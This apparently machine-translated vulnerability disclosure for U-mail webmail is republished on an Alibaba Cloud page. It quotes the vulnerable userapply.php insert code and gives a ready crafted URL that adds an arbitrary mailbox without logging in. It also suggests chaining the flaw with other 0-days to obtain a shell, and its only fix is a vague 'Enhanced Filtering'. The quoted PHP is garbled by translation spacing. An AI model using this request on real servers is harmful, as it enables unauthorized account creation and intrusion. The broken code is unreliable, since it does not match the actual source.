U-mail arbitrary user adding Vulnerability (No Logon required)

Source: Internet
Author: User

U-mail arbitrary user adding Vulnerability (No Logon required)

 

This vulnerability allows you to add an email user immediately. You can use it with other unknown 0-day emails to get the getshell

As long as you log on to the email server, it is very harmful .. You know .. Can cause the server to be intruded...



In userapply. php

// Omitting code
 


If ($ Password = "")
{$ Password = "11111";} if ($ nickname = "") {$ nickname = "{$ Mailbox}" ;}$ insert = "insert into userlist (Mailbox, fullName, MailDir, Password, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, ApplyQuotas, EnableMultiPop, MaxDiskSpace, MaxNetFileSpace, DomainID) values ('". $ Mailbox. "',' {$ nickname} ',' {$ MailDir} ',' {$ Password} ', '1', '1', '1', '1 ', '1', '{$ MaxDiskSpace}', '{$ MaxNetFileSpace}', '{$ DomainID}') "; // vulnerability point $ r Esadd = @ mysql_query ($ insert); $ token = md5 (uniqid (rand (); $ email = $ Mailbox. "@". $ domainname; $ full = $ Mailbox; $ reg_time = date ("Y-m-d H: I: s"); $ reg_ip = getenv ("REMOTE_ADDR "); $ log = "insert into admlog (usr_code, username, domainname, action, acttime, Actmailbox, Actdomainname, actarm) values ('00', 'applyuser ','". $ domainname. "', 'add',' {$ reg_time} ',' {$ Mailbox} ',' {$ domainname} ', 'user')"; if ($ Mailbox! = "")..... // Omitting code





If the execadd variable exists and is executed without any judgment, an insert statement is executed directly when the variable does not exist. As a result, any user can be added.

After constructing the following link, we can add a user with the username test1234 and password fuck123456.





Access this link

Http: // 192.168.56.128/webmail/userapply. php? Execadd = 1 & DomainID = 1 & setuppath= 8888888 & Mailbox = test1234 & Password = fuck123456 & DomainID = 1

 





 

 

Http://192.168.56.128/webmail/userapply.php?execadd=1&DomainID=1&setuppath=8888888&Mailbox=test1234&Password=fuck123456&DomainID=1
 



 

Solution:

Enhanced Filtering

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.